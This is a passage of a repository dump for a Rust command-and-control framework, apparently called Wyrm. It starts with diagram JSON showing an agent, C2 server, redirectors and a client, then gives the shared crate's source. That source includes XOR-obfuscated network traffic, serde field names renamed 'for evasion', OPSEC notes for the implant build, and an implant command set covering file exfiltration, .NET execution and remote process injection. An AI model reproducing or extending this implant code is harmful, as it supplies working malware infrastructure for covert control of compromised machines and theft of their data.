"#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1d", "roundness": { "type": 3 }, "seed": 1548247256, "version": 558, "versionNonce": 313629301, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false }, { "id": "x1wFIvRp3jjah-aGGEMep", "type": "text", "x": 693.2727284869478, "y": 703.2416502830847, "width": 120.6875, "height": 50, "angle": 0, "strokeColor": "#e03131", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1e", "roundness": null, "seed": 590775768, "version": 432, "versionNonce": 1587753819, "isDeleted": false, "boundElements": [ { "id": "QIbZK4QfkGV5c1HImUv0e", "type": "arrow" } ], "updated": 1758737734794, "link": null, "locked": false, "text": "POST body \nto C2", "fontSize": 20, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "POST body \nto C2", "autoResize": true, "lineHeight": 1.25 }, { "id": "QIbZK4QfkGV5c1HImUv0e", "type": "arrow", "x": 871.7063358795003, "y": 723.6308941096856, "width": 45.131881140475, "height": 0.8849931230552102, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1f", "roundness": { "type": 2 }, "seed": 1667917224, "version": 37, "versionNonce": 920683477, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "points": [ [ 0, 0 ], [ -45.131881140475, -0.8849931230552102 ] ], "lastCommittedPoint": null, "startBinding": { "elementId": "qVfb2A8gAjHk3kiCvBxNh", "focus": -0.06637323970173968, "gap": 14.380260548197498 }, "endBinding": { "elementId": "x1wFIvRp3jjah-aGGEMep", "focus": -0.2645346459450903, "gap": 12.614226252077515 }, "startArrowhead": null, "endArrowhead": "arrow", "elbowed": false }, { "id": "xXZiuVmldfkSUjj17oI2G", "type": "text", "x": 1194.045433942991, "y": 715.4451803298978, "width": 36.22916793823242, "height": 25, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1g", "roundness": null, "seed": 943104936, "version": 36, "versionNonce": 138022907, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "text": "Via ", "fontSize": 20, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "Via ", "autoResize": true, "lineHeight": 1.25 }, { "id": "DY3X59WoByhe02O2AQBaC", "type": "text", "x": 1232.1450806684156, "y": 713.785670932363, "width": 201.2291717529297, "height": 25, "angle": 0, "strokeColor": "#1971c2", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1h", "roundness": null, "seed": 586627496, "version": 50, "versionNonce": 1009467701, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "text": "serde_json::to_vec()", "fontSize": 20, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "serde_json::to_vec()", "autoResize": true, "lineHeight": 1.25 }, { "id": "8fIX6pH4--tzFyoHLTgpQ", "type": "rectangle", "x": 2443.3583854520607, "y": 293.5504323173465, "width": 133.62585972180332, "height": 86.7240260929655, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "#ffec99", "fillStyle": "cross-hatch", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1i", "roundness": { "type": 3 }, "seed": 623675518, "version": 112, "versionNonce": 1751505588, "isDeleted": false, "boundElements": [ { "id": "tV2K5_qlBrgmg4NCiaywZ", "type": "arrow" }, { "id": "Sz3dKTQvRY7HxYDeWNekh", "type": "arrow" }, { "id": "zh7Jlgb1ymz0nMJii3nyx", "type": "arrow" }, { "id": "KP1axwUpaaJjLw1lGIXGQ", "type": "arrow" }, { "id": "FUyq56vV2_bcVLFzyKRwf", "type": "arrow" }, { "id": "fXIr6P6rQhq3v2xDMVm6F", "type": "arrow" } ], "updated": 1758737894996, "link": null, "locked": false }, { "id": "Hm3ViRUL8ZNrfEkbrVRcg", "type": "text", "x": 2483.180510400693, "y": 318.94803050142724, "width": 47.77083206176758, "height": 45, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1j", "roundness": null, "seed": 2049579518, "version": 32, "versionNonce": 938955413, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "text": "C2", "fontSize": 36, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "C2", "autoResize": true, "lineHeight": 1.25 }, { "id": "kdfuRu4s8bik_ez2pULmk", "type": "rectangle", "x": 1894.2535727668792, "y": 297.09021914195296, "width": 133.62585972180332, "height": 86.7240260929655, "angle": 0, "strokeColor": "#e03131", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1k", "roundness": { "type": 3 }, "seed": 2004330750, "version": 198, "versionNonce": 1674349883, "isDeleted": false, "boundElements": [ { "id": "tV2K5_qlBrgmg4NCiaywZ", "type": "arrow" }, { "id": "Sz3dKTQvRY7HxYDeWNekh", "type": "arrow" }, { "id": "zh7Jlgb1ymz0nMJii3nyx", "type": "arrow" } ], "updated": 1758737734794, "link": null, "locked": false }, { "id": "YS2QiARxVfozQfoTYZ6YD", "type": "text", "x": 1908.4124500033208, "y": 318.94808113804936, "width": 102.29166412353516, "height": 45, "angle": 0, "strokeColor": "#e03131", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1l", "roundness": null, "seed": 1188419902, "version": 158, "versionNonce": 1996109813, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "text": "Agent", "fontSize": 36, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "Agent", "autoResize": true, "lineHeight": 1.25 }, { "id": "_wmDQEZfSvtUw_gmGazbJ", "type": "rectangle", "x": 2136.284406028831, "y": 167.88910561006384, "width": 186.72220636130163, "height": 69.91018636623224, "angle": 0, "strokeColor": "#2f9e44", "backgroundColor": "#b2f2bb", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1m", "roundness": { "type": 3 }, "seed": 1886606654, "version": 159, "versionNonce": 920464859, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false }, { "id": "I2IbHvrorCRE9dRzJ2Bqu", "type": "text", "x": 2155.7531069726115, "y": 188.81800285036394, "width": 144, "height": 35, "angle": 0, "strokeColor": "#2f9e44", "backgroundColor": "#b2f2bb", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1n", "roundness": null, "seed": 1155928638, "version": 16, "versionNonce": 322531669, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "text": "Redirector", "fontSize": 28, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "Redirector", "autoResize": true, "lineHeight": 1.25 }, { "id": "P4gcHYVBEzCZp6ZRnYN2Q", "type": "rectangle", "x": 2139.381746928532, "y": 442.6627011573588, "width": 186.72220636130163, "height": 69.91018636623224, "angle": 0, "strokeColor": "#2f9e44", "backgroundColor": "#b2f2bb", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1o", "roundness": { "type": 3 }, "seed": 67802302, "version": 252, "versionNonce": 1817229947, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false }, { "id": "GLfrT_hyffVurZTbBUHn5", "type": "text", "x": 2158.850447872312, "y": 463.5915983976589, "width": 144, "height": 35, "angle": 0, "strokeColor": "#2f9e44", "backgroundColor": "#b2f2bb", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1p", "roundness": null, "seed": 1637174526, "version": 109, "versionNonce": 1242201781, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "text": "Redirector", "fontSize": 28, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "Redirector", "autoResize": true, "lineHeight": 1.25 }, { "id": "tV2K5_qlBrgmg4NCiaywZ", "type": "arrow", "x": 2030.0917127498328, "y": 338.6823472155695, "width": 413.2665376712357, "height": 0.8849256075591256, "angle": 0, "strokeColor": "#2f9e44", "backgroundColor": "#b2f2bb", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1q", "roundness": { "type": 2 }, "seed": 1296943934, "version": 45, "versionNonce": 283751195, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "points": [ [ 0, 0 ], [ 413.2665376712357, -0.8849256075591256 ] ], "lastCommittedPoint": null, "startBinding": { "elementId": "kdfuRu4s8bik_ez2pULmk", "focus": -0.0372848793189749, "gap": 2.2122802611502266 }, "endBinding": { "elementId": "8fIX6pH4--tzFyoHLTgpQ", "focus": -0.017053405471776865, "gap": 1 }, "startArrowhead": null, "endArrowhead": "arrow", "elbowed": false }, { "id": "pcr9O_0ErJjwRIClwPHiy", "type": "rectangle", "x": 2530.967168363845, "y": 155.49992767887417, "width": 144.24510204350418, "height": 51.32646166663278, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "#ffec99", "fillStyle": "cross-hatch", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1r", "roundness": { "type": 3 }, "seed": 1545364386, "version": 110, "versionNonce": 303226901, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false }, { "id": "S8hHQhOgvuEoTpwigB7jK", "type": "text", "x": 2555.7454904684764, "y": 170.2342443930164, "width": 93.9375, "height": 25, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "#ffec99", "fillStyle": "cross-hatch", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1s", "roundness": null, "seed": 665072766, "version": 44, "versionNonce": 1964677051, "isDeleted": false, "boundElements": [ { "id": "FUyq56vV2_bcVLFzyKRwf", "type": "arrow" } ], "updated": 1758737734794, "link": null, "locked": false, "text": "Database", "fontSize": 20, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "Database", "autoResize": true, "lineHeight": 1.25 }, { "id": "bM5yySUbg4HZRXvc0hGof", "type": "rectangle", "x": 2629.7366497741828, "y": 233.64540367855128, "width": 144.24510204350418, "height": 51.32646166663278, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "#ffec99", "fillStyle": "cross-hatch", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1t", "roundness": { "type": 3 }, "seed": 840861666, "version": 234, "versionNonce": 167506100, "isDeleted": false, "boundElements": [], "updated": 1758737877907, "link": null, "locked": false }, { "id": "gpibvdscTVLTdQ33UZ3BS", "type": "text", "x": 2648.320425110404, "y": 248.37972039269346, "width": 104.8125, "height": 25, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "#ffec99", "fillStyle": "cross-hatch", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1u", "roundness": null, "seed": 914832290, "version": 210, "versionNonce": 1814280756, "isDeleted": false, "boundElements": [ { "id": "7c6VDrPbpSH-47nXBsZAq", "type": "arrow" } ], "updated": 1758737877907, "link": null, "locked": false, "text": "config.toml", "fontSize": 20, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "config.toml", "autoResize": true, "lineHeight": 1.25 }, { "id": "eCCipoTFoXIckhf9Kkt0z", "type": "rectangle", "x": 2448.225442535886, "y": 560.8020336088339, "width": 133.62585972180332, "height": 81.4143374166187, "angle": 0, "strokeColor": "#f08c00", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1v", "roundness": { "type": 3 }, "seed": 103005502, "version": 233, "versionNonce": 317693653, "isDeleted": false, "boundElements": [ { "id": "KP1axwUpaaJjLw1lGIXGQ", "type": "arrow" } ], "updated": 1758737734794, "link": null, "locked": false }, { "id": "xco9t7Ux-7Q67HMlw6q8R", "type": "text", "x": 2465.0392316259977, "y": 581.7749362396229, "width": 97.52083587646484, "height": 45, "angle": 0, "strokeColor": "#f08c00", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1w", "roundness": null, "seed": 125134206, "version": 148, "versionNonce": 209593595, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "text": "Client", "fontSize": 36, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "Client", "autoResize": true, "lineHeight": 1.25 }, { "id": "KP1axwUpaaJjLw1lGIXGQ", "type": "arrow", "x": 2517.69308170397, "y": 557.2622467842274, "width": 7.079404860473005, "height": 176.98778837391546, "angle": 0, "strokeColor": "#f08c00", "backgroundColor": "#ffec99", "fillStyle": "cross-hatch", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1x", "roundness": { "type": 2 }, "seed": 2106186786, "version": 40, "versionNonce": 496958517, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "points": [ [ 0, 0 ], [ -7.079404860473005, -176.98778837391546 ] ], "lastCommittedPoint": null, "startBinding": { "elementId": "eCCipoTFoXIckhf9Kkt0z", "focus": 0.06464762996940727, "gap": 3.5397868246064945 }, "endBinding": { "elementId": "8fIX6pH4--tzFyoHLTgpQ", "focus": 0.018849630372583588, "gap": 1 }, "startArrowhead": null, "endArrowhead": "arrow", "elbowed": false }, { "id": "FUyq56vV2_bcVLFzyKRwf", "type": "arrow", "x": 2585.411021521547, "y": 209.40099420766958, "width": 44.70946892806387, "height": 83.26447874436971, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "#ffec99", "fillStyle": "cross-hatch", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1y", "roundness": { "type": 2 }, "seed": 1875215678, "version": 32, "versionNonce": 1292225947, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "points": [ [ 0, 0 ], [ -44.70946892806387, 83.26447874436971 ] ], "lastCommittedPoint": null, "startBinding": { "elementId": "S8hHQhOgvuEoTpwigB7jK", "focus": 0.055593766744400475, "gap": 14.166749814653173 }, "endBinding": { "elementId": "8fIX6pH4--tzFyoHLTgpQ", "focus": 0.084173312458029, "gap": 1 }, "startArrowhead": null, "endArrowhead": "arrow", "elbowed": false }, { "id": "7c6VDrPbpSH-47nXBsZAq", "type": "arrow", "x": 2645.6292787967395, "y": 284.8981274659169, "width": 68.87142167291677, "height": 47.58960546574667, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "#ffec99", "fillStyle": "cross-hatch", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1z", "roundness": { "type": 2 }, "seed": 2005065918, "version": 167, "versionNonce": 308330636, "isDeleted": false, "boundElements": [], "updated": 1758737882743, "link": null, "locked": false, "points": [ [ 0, 0 ], [ -68.87142167291677, 47.58960546574667 ] ], "lastCommittedPoint": null, "startBinding": { "elementId": "gpibvdscTVLTdQ33UZ3BS", "focus": 0.28849911628050184, "gap": 11.830454035761415 }, "endBinding": null, "startArrowhead": null, "endArrowhead": "arrow", "elbowed": false }, { "id": "KP48ZRQQ_WKfsKAmqAJXR", "type": "rectangle", "x": 2647.4995399758473, "y": 306.64823641961004, "width": 144.24510204350418, "height": 51.32646166663278, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "#ffec99", "fillStyle": "cross-hatch", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b21", "roundness": { "type": 3 }, "seed": 1966572724, "version": 331, "versionNonce": 1848719284, "isDeleted": false, "boundElements": [ { "id": "fXIr6P6rQhq3v2xDMVm6F", "type": "arrow" } ], "updated": 1758737894996, "link": null, "locked": false }, { "id": "1huTICsWaGX6TQbomxC3N", "type": "text", "x": 2694.782758290419, "y": 320.6849131452933, "width": 37.233333587646484, "height": 25, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "#ffec99", "fillStyle": "cross-hatch", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b22", "roundness": null, "seed": 315412020, "version": 319, "versionNonce": 1948159244, "isDeleted": false, "boundElements": [], "updated": 1758737888978, "link": null, "locked": false, "text": ".env", "fontSize": 20, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": ".env", "autoResize": true, "lineHeight": 1.25 }, { "id": "fXIr6P6rQhq3v2xDMVm6F", "type": "arrow", "x": 2647.0814190583524, "y": 335.36997177213095, "width": 68.93864839771413, "height": 8.011219079856687, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "#ffec99", "fillStyle": "cross-hatch", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b24", "roundness": { "type": 2 }, "seed": 1188018700, "version": 36, "versionNonce": 1209540916, "isDeleted": false, "boundElements": null, "updated": 1758737894996, "link": null, "locked": false, "points": [ [ 0, 0 ], [ -68.93864839771413, 8.011219079856687 ] ], "lastCommittedPoint": null, "startBinding": { "elementId": "KP48ZRQQ_WKfsKAmqAJXR", "focus": 0.15777312220304376, "gap": 1 }, "endBinding": { "elementId": "8fIX6pH4--tzFyoHLTgpQ", "focus": 0.28102161228352424, "gap": 1.1585254867741241 }, "startArrowhead": null, "endArrowhead": "arrow", "elbowed": false } ], "appState": { "gridSize": 20, "gridStep": 5, "gridModeEnabled": false, "viewBackgroundColor": "#ffffff", "lockedMultiSelections": {} }, "files": {} } ================================================ FILE: shared/Cargo.toml ================================================ [package] name = "shared" version = "0.1.0" edition = "2024" [dependencies] serde = {version = "1.0", features = ["derive"] } serde_json = "1" chrono = { version = "0.4.41", features = ["serde"] } [target.'cfg(not(target_arch = "wasm32"))'.dependencies] sqlx = { version = "=0.8.6", features = ["postgres", "chrono"] } ================================================ FILE: shared/readme.md ================================================ # Shared This crate holds shared types, implementations, and logic which are shared across multiple crates, but importantly, things which will not lead to OPSEC leaks on the release build of the agent. For anything which may cause OPSEC problems, or type problems due to OPSEC strategy, see the sibling crate, `shared_c2_client`. ================================================ FILE: shared/src/lib.rs ================================================ use serde::{Deserialize, Serialize}; pub mod net; pub mod stomped_structs; pub mod task_types; pub mod tasks; #[derive(Debug, Clone, Default, Serialize, Deserialize)] pub struct StagedResourceDataNoSqlx { pub agent_name: String, pub c2_endpoint: String, pub staged_endpoint: String, pub pe_name: String, pub sleep_time: i64, pub port: i16, pub num_downloads: i64, } ================================================ FILE: shared/src/net.rs ================================================ use serde::{Deserialize, Serialize}; use crate::tasks::{Command, Task}; const NET_XOR_KEY: u8 = 0x3d; pub const STR_CRYPT_XOR_KEY: u8 = 0x1f; pub const ADMIN_AUTH_SEPARATOR: &str = "=authdivider="; pub const ADMIN_ENDPOINT: &str = "admin"; pub const ADMIN_LOGIN_ENDPOINT: &str = "admin_login"; /// The API endpoint for whether an unread notification exists for a specific agent pub const NOTIFICATION_CHECK_AGENT_ENDPOINT: &str = "check_notifs"; /// The URI to check to determine if an admin is logged in on the GUI, serves no other purpose pub const ADMIN_HEALTH_CHECK_ENDPOINT: &str = "/adm/is_logged_in"; pub type CompletedTasks = Vec<Vec<u16>>; pub type TasksNetworkStream = Vec<Vec<u8>>; #[derive(Serialize, Deserialize)] pub struct AdminLoginPacket { pub username: String, pub password: String, } pub trait XorEncode { fn xor_network_stream(self) -> Self; } impl XorEncode for Vec<u8> { fn xor_network_stream(mut self) -> Self { for b in &mut self { *b ^= NET_XOR_KEY; } self } } pub fn encode_u16buf_to_u8buf(input: &[u16]) -> Vec<u8> { let mut buf: Vec<u8> = Vec::with_capacity(input.len()); for word in input { let [lo, hi] = word.to_le_bytes(); buf.push(lo); buf.push(hi); } buf } pub fn decode_u8buf_to_u16buf(input: &[u8]) -> Vec<u16> { let mut u16_bytes: Vec<u16> = Vec::with_capacity(input.len()); for chunk in input.chunks_exact(2) { let lo = chunk[0]; let hi = chunk[1]; let word = u16::from_le_bytes([lo, hi]); u16_bytes.push(word); } u16_bytes } pub fn decode_http_response(byte_response: &[u8]) -> Task { const COMMAND_INT_BYTE_SZ: usize = 4; const TASK_ID_BYTE_SZ: usize = 4; const TIMESTAMP_BYTE_SZ: usize = 8; // // Pull out the task id (database ref) // let task_id = i32::from_le_bytes([ byte_response[0], byte_response[1], byte_response[2], byte_response[3], ]); // // Pull out command // let command_int = u32::from_le_bytes([ byte_response[4], byte_response[5], byte_response[6], byte_response[7], ]); let command = Command::from_u32(command_int); // // Pull out timestamp of completed task // let timestamp = i64::from_le_bytes([ byte_response[8], byte_response[9], byte_response[10], byte_response[11], byte_response[12], byte_response[13], byte_response[14], byte_response[15], ]); // Check if we have trailing metadata, if not - return the data as obtained thus far let basic_packet_len = COMMAND_INT_BYTE_SZ + TIMESTAMP_BYTE_SZ + TASK_ID_BYTE_SZ; if byte_response.len() == basic_packet_len { return Task { id: task_id, command, metadata: None, completed_time: timestamp, }; } // // We now know there is a message present, so we can pull it out of the u8 vec by // converting it to a utf-16 string. // let message_bytes = &byte_response[basic_packet_len..]; let u16_bytes = decode_u8buf_to_u16buf(message_bytes); let task_metadata_string = String::from_utf16_lossy(&u16_bytes); Task { id: task_id, command, metadata: Some(task_metadata_string), completed_time: timestamp, } } ================================================ FILE: shared/src/stomped_structs.rs ================================================ //! This module provides structs which have had their serilisation names stomped for evasion purposes, primarily //! these are used in the implant, but also used on the client, and / or C2. use std::collections::BTreeMap; use serde::{Deserialize, Serialize}; use crate::tasks::WyrmResult; /// An individual process #[derive(Deserialize, Serialize, Clone)] #[serde(rename = "a")] pub struct Process { #[serde(rename = "b")] pub pid: u32, #[serde(rename = "c")] pub name: String, #[serde(rename = "d")] pub user: String, #[serde(rename = "e")] pub ppid: u32, } #[derive(Deserialize, Serialize, Clone, Default)] #[serde(rename = "a")] pub struct RegQueryResult { #[serde(rename = "b")] pub subkeys: Vec<String>, #[serde(rename = "c")] pub values: BTreeMap<String, String>, } impl TryFrom<&str> for RegQueryResult { type Error = Vec<String>; fn try_from(value: &str) -> Result<Self, Vec<String>> { let results = match serde_json::from_str::<WyrmResult<String>>(value) { Ok(data) => match data { WyrmResult::Ok(inner_string_from_result) => { match serde_json::from_str::<RegQueryResult>(&inner_string_from_result) { Ok(results_as_vec) => results_as_vec, Err(e) => { return Err(vec![format!("Error {e}, {}", inner_string_from_result)]); } } } WyrmResult::Err(e) => { return Err(vec![format!("Error with operation. {e}")]); } }, Err(e) => { return Err(vec![format!("Could not deserialise response data. {e}.")]); } }; return Ok(results); } } impl RegQueryResult { pub fn client_print_formatted(&self) -> Vec<String> { let mut result_printer = vec![]; for v in &self.subkeys { result_printer.push(format!("[subkey] {v}")); } if !result_printer.is_empty() { result_printer.push("\t\t--".to_string()); } const KEY_SZ: usize = 35; let v1 = "[Value name]"; let v2 = "[Value data]"; let f = format!("{:<KEY_SZ$}{}", v1, v2); result_printer.push(f); for (k, v) in &self.values { let f = format!("{:<KEY_SZ$}{}", k, v); result_printer.push(f); } result_printer } } ================================================ FILE: shared/src/task_types.rs ================================================ use serde::{Deserialize, Serialize}; /// The inner type for the [`AdminCommand::Copy`] and [`AdminCommand::Move`], represented as an tuple with /// the format (from, to). pub type FileCopyInner = (String, String); /// Represents inner data for the [`AdminCommand::BuildAllBins`], as a tuple for: /// (`profile_disk_name`, `save path`, `implant_profile`). pub type BuildAllBins = (String, String, String); pub type RegQueryInner = (String, Option<String>); #[derive(Serialize, Deserialize, Clone, Copy)] pub enum RegType { String = 0, U32, U64, } // pub const REG_TYPE_STRING: u32 = 0b0001; // pub const REG_TYPE_U32: u32 = 0b0010; // pub const REG_TYPE_U64: u32 = 0b0100; /// Inner type for a `reg add` operation, containing: /// - the key, /// - the value, /// - the data /// - the type (as a [`RegType`]). pub type RegAddInner = (String, String, String, RegType); /// The metadata for executing a dotnet binary. Consisting of the raw IL bytes and /// a vec of args to pass pub type DotExDataForImplant = (Vec<u8>, Vec<String>); ================================================ FILE: shared/src/tasks.rs ================================================ use core::panic; use serde::{Deserialize, Serialize}; use std::{ collections::{BTreeMap, HashSet}, fmt::{Debug, Display}, mem::transmute, path::PathBuf, }; use crate::task_types::{FileCopyInner, RegAddInner, RegQueryInner}; /// Commands supported by the implant and C2. /// /// To convert an integer `u32` to a [`Command`], use [`Command::from_u32`]. /// /// # Safety /// We are using 'C' style enums to avoid needing serde to ser/deser types through the network. /// When interpreting a command integer, it **MUST** in all cases, be interpreted by [`std::mem::transmute`] /// as a `u32`, otherwise you risk UB. #[repr(u32)] #[derive(Serialize, Deserialize, Copy, Clone, PartialEq, Eq)] pub enum Command { Sleep = 1u32, Ps, GetUsername, Pillage, UpdateSleepTime, Pwd, // Used when the beacon first boots, sending self metadata to the c2 AgentsFirstSessionBeacon, Cd, KillAgent, KillProcess, Ls, Run, /// Uploads a file to the target machine Drop, /// Copies a file Copy, /// Moves a file Move, /// Removes a file RmFile, /// Removes a directory RmDir, /// Pulls a file from the target machine, downloading to the C2 Pull, RegQuery, RegAdd, RegDelete, /// Execute dotnet in current process DotEx, WhoAmI, /// Messages we intercepted from the console to be sent to the c2 ConsoleMessages, Spawn, StaticWof, /// Perform remote process injection Inject, // This should be totally unreachable; but keeping to make sure we don't get any weird UB, and // make sure it is itemised last in the enum Undefined, } #[derive(Clone, PartialEq, Eq, Serialize, Deserialize)] pub struct FileDropMetadata { pub internal_name: String, pub download_name: String, pub download_uri: Option<String>, } pub const DELIM_FILE_DROP_METADATA: &str = ","; impl Into<String> for FileDropMetadata { fn into(self) -> String { // // IMPORTANT: // We serialise the data for FileDropMetadata via a string, delimited by commas. // If we make any changes to FileDropMetadata we need to ensure the below format is free of the // delimiter; AND we need to check that when we deserialise using From<&str> for FileDropMetadata // that we pull out the fields in the same order they are serialised. // // Was facing some issues with the struct name being present in the binary which I couldn't avoid. // The data for this is encoded under the wire, so there should be no network based OPSEC issues with // this approach. // // Do some input checks, we cannot contain the delimiter, otherwise panic. assert!(!self.internal_name.contains(DELIM_FILE_DROP_METADATA)); assert!(!self.download_name.contains(DELIM_FILE_DROP_METADATA)); assert!( !self .download_uri .as_deref() .unwrap_or_default() .contains(DELIM_FILE_DROP_METADATA) ); format!( "{}{d}{}{d}{}", self.internal_name, self.download_name, self.download_uri.as_deref().unwrap_or_default(), d = DELIM_FILE_DROP_METADATA, ) } } impl From<&str> for FileDropMetadata { /// Convert a `&str` to a [`FileDropMetadata`]. The data as a string must be delimited by /// commas, and not contain commas within the substrings. /// /// # Panics /// This function will panic if there are not an exact number of fields which is expected. Aside from bad implementation, /// this would be caused by the delimiter appearing within the encoded substrings. fn from(value: &str) -> Self { // // IMPORTANT // See notes in `impl Into<String> for FileDropMetadata` to make sure we adhere to the rules // around the ordering and content of contained data. // let parts: Vec<&str> = value.split(',').collect(); assert_eq!(parts.len(), 3); let download_uri: Option<String> = if parts[2].is_empty() { None } else { Some(parts[2].to_string()) }; Self { internal_name: parts[0].into(), download_name: parts[1].into(), download_uri, } } } impl Into<u32> for Command { fn into(self) -> u32 { self as u32 } } impl Command { pub fn from_u32(id: u32) -> Self { // SAFETY: We have type safe signature ensuring that the input type is a u32 for the conversion unsafe { transmute(id) } } pub fn to_u16_tuple_le(&self) -> (u16, u16) { let low_word: u16 = (*self as u32 & 0xFFFF) as u16; let high_word: u16 = (*self as u32 >> 16) as u16; (low_word, high_word) } /// Determines whether the task is auto-completable for the database pub fn is_autocomplete(&self) -> bool { matches!( self, Command::Sleep | Command::UpdateSleepTime | Command::KillAgent ) } } #[cfg(debug_assertions)] impl Display for Command { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { let choice = match self { Command::Sleep => "Sleep", Command::Ps => "ListProcesses", Command::Undefined => "Undefined -> You received an invalid code.", Command::GetUsername => "GetUsername", Command::Pillage => "ListUsersDirs", Command::UpdateSleepTime => "UpdateSleepTime", Command::Pwd => "Pwd", Command::AgentsFirstSessionBeacon => "AgentsFirstSessionBeacon", Command::Cd => "Cd", Command::KillAgent => "KillAgent", Command::Ls => "Ls", Command::Run => "Run", Command::KillProcess => "KillProcess", Command::Drop => 